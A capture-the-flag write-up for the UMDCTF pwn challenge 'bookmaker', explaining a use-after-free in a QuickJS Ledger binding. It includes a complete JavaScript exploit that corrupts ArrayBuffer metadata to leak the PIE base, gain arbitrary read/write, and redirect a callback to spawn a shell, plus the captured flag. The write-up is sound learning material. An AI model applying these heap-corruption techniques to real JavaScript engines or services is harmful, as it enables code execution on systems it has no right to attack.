pwnfreemedium

bookmaker

umdctf

Task: a stripped PIE QuickJS service executes attacker-supplied JavaScript with native Ledger and Wire bindings, including a recycled Ledger whose stale ArrayBuffer alias remains valid. Solution: overlap freed Ledger storage with a new ArrayBuffer, corrupt its metadata to leak PIE and gain arbitrary read/write, overwrite the global settle callback with win, then trigger settle() to spawn a shell and read the flag.

$ ls tags/ techniques/
function_pointer_overwritearbitrary_read_writeheap_uaf_overlaparraybuffer_metadata_corruptionpie_base_leak

bookmaker — UMDCTF

Description

No separate organizer description was present in the provided workspace files.

English summary: the service accepts JavaScript and executes it inside an embedded QuickJS environment until the terminator token __END_MARKET_SCRIPT__. Several native bindings are exposed to script code, and one of them makes it possible to turn a heap use-after-free into code execution.

Reconnaissance

Initial triage showed an amd64 PIE ELF with:

  • Full RELRO
  • NX
  • no stack canary
  • stripped symbols

The binary also embeds QuickJS and exposes the following JavaScript bindings:

  • Ledger
  • Wire
  • mintWire
  • wireRead
  • wireWrite
  • wireDispatch
  • poke64
  • print
  • help
  • settle

The remote service reads JavaScript source until __END_MARKET_SCRIPT__, then executes it. That immediately suggests looking for mistakes in the native objects that are wrapped into JavaScript values, especially anything returning ArrayBuffer views into native memory.

Ledger was the interesting object. Its view() method returns an ArrayBuffer alias to native backing storage, and recycle() frees that storage. That combination is already suspicious: if the engine keeps the old JavaScript object alive after the native free, the script may still access freed heap memory.

Vulnerability

The core bug is a use-after-free in Ledger backing storage.

The vulnerable pattern is:

  1. Create a Ledger.
  2. Call ledger.view() to get an ArrayBuffer pointing at the Ledger's native bytes.
  3. Call ledger.recycle().
  4. Continue using the old ArrayBuffer.

The stale ArrayBuffer remains accessible even though the native allocation has already been freed.

For a Ledger(0x30), the freed chunk can be immediately reclaimed with new ArrayBuffer(8). That places a new QuickJS-managed ArrayBuffer object over the old Ledger backing region. A typed array over the stale view then exposes the overlapped metadata:

  • q[0] controls the victim ArrayBuffer's byteLength
  • q[1] controls the victim ArrayBuffer's data pointer
  • q[5] leaks a code pointer at base + 0xd490

So the UAF becomes a very strong primitive:

  • leak PIE from q[5]
  • enlarge the overlapped ArrayBuffer by writing q[0] = 0x100n
  • redirect the victim buffer anywhere in memory by changing q[1]

At that point, the bug is no longer just an info leak. It is effectively arbitrary read/write through a corrupted ArrayBuffer.

Exploitation

The clean exploit path is to overwrite the global callback used by settle().

Relevant offsets from the PIE base were:

  • global message pointer: base + 0xcc100
  • global settle callback pointer: base + 0xcc108
  • win callback: base + 0xb3c0
  • leaked trampoline/code pointer: base + 0xd490

Instead of trying to jump through the leaked trampoline directly, the exploit uses the leak only to recover the PIE base:

base = q[5] - 0xd490n

Then it retargets the corrupted victim ArrayBuffer at base + 0xcc108, the global settle callback pointer. Writing base + 0xb3c0 there replaces the normal callback with the hidden win callback. After that, calling:

settle("owned")

prints:

market resolved YES: owned

and the win callback executes system("/bin/sh").

With shell access, reading /app/flag.txt yields the flag. The process later crashes with free(): invalid pointer, but only after code execution and flag exfiltration, so the exploit is still fully reliable for the challenge goal.

Final JavaScript exploit

let l = new Ledger(0x30) let v = l.view() l.recycle() let x = new ArrayBuffer(8) let q = new BigUint64Array(v) q[0] = 0x100n let base = q[5] - 0xd490n let settleCb = base + 0xcc108n let winCb = base + 0xb3c0n q[1] = settleCb new DataView(x).setBigUint64(0, winCb, true) settle("owned")

Exploit flow

  1. Allocate Ledger(0x30) and get a stale ArrayBuffer alias with view().
  2. Free the backing store with recycle().
  3. Reclaim the freed chunk with new ArrayBuffer(8).
  4. Use BigUint64Array(v) over the stale bytes to corrupt the new ArrayBuffer metadata.
  5. Set q[0] = 0x100n to expand the victim buffer.
  6. Leak PIE with q[5] and compute base.
  7. Set q[1] = base + 0xcc108 so the victim buffer points at the global settle callback pointer.
  8. Write base + 0xb3c0 through the overlapped buffer.
  9. Call settle("owned").
  10. Use the spawned shell to read /app/flag.txt.

Remote exploitation confirmed the expected success message followed by the flag, and only then the cleanup crash:

market resolved YES: owned UMDCTF{tahmid-will-surely-finish_his_challenge_on_time!!} free(): invalid pointer

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups